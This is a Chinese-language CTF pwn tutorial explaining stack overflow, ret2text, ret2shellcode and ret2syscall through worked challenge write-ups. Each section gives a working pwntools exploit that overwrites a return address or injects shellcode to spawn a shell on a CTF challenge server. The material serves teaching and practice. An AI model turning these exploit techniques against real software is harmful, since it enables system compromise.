棧溢出
通過寫入超出數組定義范圍的字符長度達到溢出,從而覆蓋棧上其余數據,覆蓋返回地址約等于控制程序執行流
例如:
?經過ida反編譯后,發現這里要將v2的值修改為11.28125才能獲得flag,同時我們可以發現這里使用了gets這個函數,gets函數是存在非常直接的棧溢出漏洞的,我們可以往v1內寫入無限長的數據,同時我們可以ida里看到,v1的范圍是44個字節,v2的位置在v1末尾距離棧頂有4個字節,大小也為4個字節,棧的總大小為0x30也就是48個字節
那么我們就可以通過v2溢出覆蓋v1的值為11.28125,同時我們還需要得到11.28125在匯編里的16進制
找到func函數,并且找到其中匯編的浮點數比較語句
可以看到11.28125的地址為4001F4,同時繼續跟進也可以得到其值為41348000h
那么我們就可以編寫腳本
from pwn import *
p=remote("node4.anna.nssctf.cn",28918)
payload=b'a'*0x2c+p64(0x41348000) #0x2c個字符a用于覆蓋v1變量,p64(0x41348000)用于覆蓋v2
p.recvline()#接收程序向我們輸出的信息
p.sendline(payload)#發送payload
p.interactive()#開啟交互
運行后得到flag
ret2text
原理
劫持控制流,返回到程序自身代碼段(.text)中已有的指令片段(gadgets)。
通常利用程序中已有的
system()
或危險函數(如execve
)的代碼片段。
例題:[BJDCTF 2020]babystack
通過ida打開發現注入點read函數,buf變量可以覆蓋,并且其范圍是12字節,還有一個nbytes變量為4字節
發現存在后門函數backdoor
于是試想利用棧溢出覆蓋返回地址為后門函數的地址從而執行后門函數
編寫腳本,查看后門函數地址
這里我們要先傳入nbytes來控制buf變量接收的字節數
from pwn import *
p=remote("node4.anna.nssctf.cn",28602)
payload=b'a'*0x18+p64(0x4006e6)
p.sendlineafter('name:','500')#在收到‘name’字符串后發送字符串‘500’給變量nbytes
p.sendline(payload)
p.interactive()
運行后成功控制
ret2shellcode
原理
將控制流劫持到用戶輸入的shellcode(一段惡意機器指令)。
shellcode通常寫入棧、堆或全局變量(需可執行權限)。
例題:[HNCTF 2022 Week1]ret2shellcode
使用checksec檢查發現是64位程序,并且開啟了NX等保護
在ida中沒有尋找到后門函數,并且題目也提示了,就是讓我們自己寫入一串shell并調用,但是為什么開啟了NX保護還是ret2shellcode呢
其源碼如下
#include<stdio.h>
char buff[256];
int main()
{setbuf(stdin,0);setbuf(stderr,0);setbuf(stdout,0);mprotect((long long)(&stdout)&0xfffffffffffff000,0x1000,7);char buf[256];memset(buf,0,0x100);read(0,buf,0x110);strcpy(buff,buf);return 0;
}
?其中漏洞主要就在
mprotect((long long)(&stdout)&0xfffffffffffff000,0x1000,7);?
read(0,buf,0x110);
?strcpy(buff,buf);
這三條代碼上,定義了buff變量范圍為256個字節,然后這里可以向buf寫入272(0x110)個字節,再把buf復制到buff變量上從而造成溢出,而mprotect((long long)(&stdout)&0xfffffffffffff000,0x1000,7);這條代碼又使.bss段可執行,.bss段存放著全局變量,而buff就是一個全局變量,這就導致了ret2shellcode
所以我們只需要將我們的shell寫入buff變量再將返回地址覆蓋成buff的地址就可以執行shell了
編寫exp
from pwn import *
context.arch="amd64"#設置目標框架為x86-64位也就是64位系統
io=remote('node5.anna.nssctf.cn',24184)
payload=asm(shellcraft.sh()).ljust(264,b'a')+p64(0x4040a0)
io.sendline(payload)
io.interactive()
?執行腳本后成功得到shell
ret2syscall
原理
通過ROP鏈直接調用系統調用(syscall),如
execve("/bin/sh", 0, 0)
。需構造寄存器參數(x86_64下:
rax=59
,?rdi="/bin/sh"
,?rsi=0
,?rdx=0
)。
構造ROP鏈:
32位:
mov eax,0xb
mov ebx,["/bin/sh"]
mov ecx,0
mov edx,0
int 0x80? ? ? 注意這里int不是整型的意思而是interrupt中斷的意思
64位:
mov rax,59
mov rdi,"/bin/sh"
mov rsi,0
mov rdx,0
syscall
等于execve("/bin/sh",NULL,NULL)
例題:[WUSTCTF 2020]getshell2
使用checksec查看文件,為32位程序并且打開NX
在ida中查看源碼,發現沒有讓棧或堆可執行的代碼,那么就無法ret2shellcode了。
繼續觀察,發現存在假的后門函數,但是system()函數是實實在在存在的,有利用價值
同時漏洞點也給的非常明確了,就在vulnerable函數里,我們通過溢出buf變量,修改返回地址位我們構造的rop鏈,同時我們要填充的范圍也可以得到為28個字節
前面得到call system的地址為0x08048529,再使用ROPgadget尋找/bin/sh字符串
成功找到sh,其地址為0x08048670
于是編寫exp
from pwn import *
io=remote('node5.anna.nssctf.cn',23104)
payload=b'a'*28+p32(0x08048529)+p32(0x08048670)
io.sendline(payload)
io.interactive()
執行后獲得shell